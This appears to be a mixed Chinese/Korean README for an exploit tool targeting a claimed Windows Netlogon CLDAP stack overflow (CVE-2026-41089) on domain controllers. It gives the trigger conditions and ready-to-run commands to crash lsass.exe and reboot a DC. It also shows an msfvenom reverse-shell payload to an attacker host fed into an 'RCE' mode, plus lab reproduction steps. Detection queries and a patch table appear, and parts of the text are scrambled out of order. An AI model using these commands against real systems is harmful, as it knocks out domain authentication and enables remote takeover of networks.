
CVE-2026-41089 是 Windows Netlogon 服务中一个关键的远程代码执行漏洞,单包即可崩溃 lsass.exe,导致域控制器在约 30-60 秒内重启。此期间该 DC 的所有域认证将失败。
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Critical)
CWE: CWE-121 (Stack-based Buffer Overflow)
공격 벡터: UDP/389 (CLDAP SearchRequest)
영향: 원격 코드 실행 (RCE) / 서비스 거부 (DoS)
영향받는 버전: Windows Server 2012 R2 ~ 2025 (도메인 컨트롤러)
패치: 2026년 5월 누적 업데이트
netlogon.dll의 NetpLogonPutUnicodeString 함수가 CLDAP 검색 요청을 처리할 때 스택 버퍼 오버플로우 취약점이 존재합니다. 이 함수는 바이트 길이 예산을 받지만 이를 WCHAR 개수로 해석하여 예상보다 2배 많은 데이터를 씁니다.
오버플로우는 NlGetLocalPingResponse 함수의 528바이트(264 ushort) 고정 스택 버퍼에서 발생합니다. 공격자가 제어할 수 있는 User 필드와 서버 자체 DNS 도메인 이름이 함께 이 버퍼를 채우며, 결국 GS 보안 쿠키를 덮어써 __report_gsfailure 및 lsass.exe 충돌을 유발합니다.
NtVer=0x02 (이전의 취약한 BuildSamLogonResponse 경로를 강제로 사용)User 필드 길이 ≥ ~130자 (이진 상한 약 260바이트 UTF-16)참고:
NtVer=0x16(많은 공개 탐지 스크립트에서 사용하는 값)은 안전한BuildSamLogonResponseEx경로를 트리거하며 취약점을 트리거하지 않습니다.
| 모드 | 설명 |
|---|---|
--mode dos | LSASS를 충돌시키는 특수 제작된 CLDAP 패킷 전송, DC 재부팅 (약 60초 인증 중단) |
--mode rce | 원격 코드 실행 시도 (연구 수준, 셸코드 필요) |
단일 패킷으로 lsass.exe를 충돌시켜 도메인 컨트롤러가 약 30-60초 내에 재부팅됩니다. 이 기간 동안 해당 DC의 모든 도메인 인증이 실패합니다.
# 기본 사용법 — 3개의 패킷 전송
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# 단일 패킷 빠른 공격
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# 공격적 모드 — 5개의 패킷 동시 전송
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ 연구 수준 — 실제 환경에서는 신뢰할 수 없고 불안정합니다.
RCE는 다음 과제에 직면합니다:
# 셸코드 생성
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# RCE 체인 전송
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# 대상 DC 지문 식별
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
예상 출력 예시 (패치된 대상):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
예상 출력 예시 (패치되지 않은 대상):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
NtVer=0x02가 시간 초과되고 다른 버전은 정상 응답한다면, 대상은 취약할 가능성이 높습니다.
# Windows Server(패치되지 않음)에서 긴 도메인 이름의 DC 생성:
# 1. 도메인 컨트롤러로 승격 (DNS 도메인 이름이 긴 도메인, 예: "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. 2026년 5월 이전 패치가 설치되어 있는지 확인
# 3. 공격자 시스템에서 실행:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. DC 충돌 및 재부팅 관찰
User > 100바이트 및 NtVer = 0x02인 CLDAP SearchRequestEvent ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
이 도구는 공인된 보안 평가, 침투 테스트, CTF 대회 및 방어 연구를 위한 용도로만 사용됩니다. 명시적인 서면 승인 없이 이 도구를 사용하는 것은 불법입니다. 사용자는 모든 법적 책임을 부담합니다.
--mode scan | 다양한 NtVer 값에 대한 응답 스캔, 대상 DC 지문 식별 |
--mode auto | 자동 감지 및 최적 공격 전략 선택 |
| 매개변수 | 설명 | 기본값 |
|---|
-l, --user-len | 사용자 이름 필드 길이 (ASCII 문자 수) | 180 |
--ntver | NtVer 값 (16진수, 예: 0x02) | 0x02 |
--count | 전송할 DoS 패킷 수 | 3 |
--delay | 패킷 간 지연 (초) | 0.5 |
-t, --timeout | 소켓 타임아웃 (초) | 5.0 |
--json | JSON 형식으로 결과 출력 | — |
--raw | 전송 전 원시 패킷 16진수 출력 | — |
--quiet | 배너 출력 억제 | — |
--shellcode-file | 사용자 정의 셸코드 파일 (원시 x64) | — |
--lhost | 리버스 셸 리스닝 주소 | — |
--lport | 리버스 셸 리스닝 포트 | 4444 |
| Windows Server 버전 | 패치 빌드 번호 | 비고 |
|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |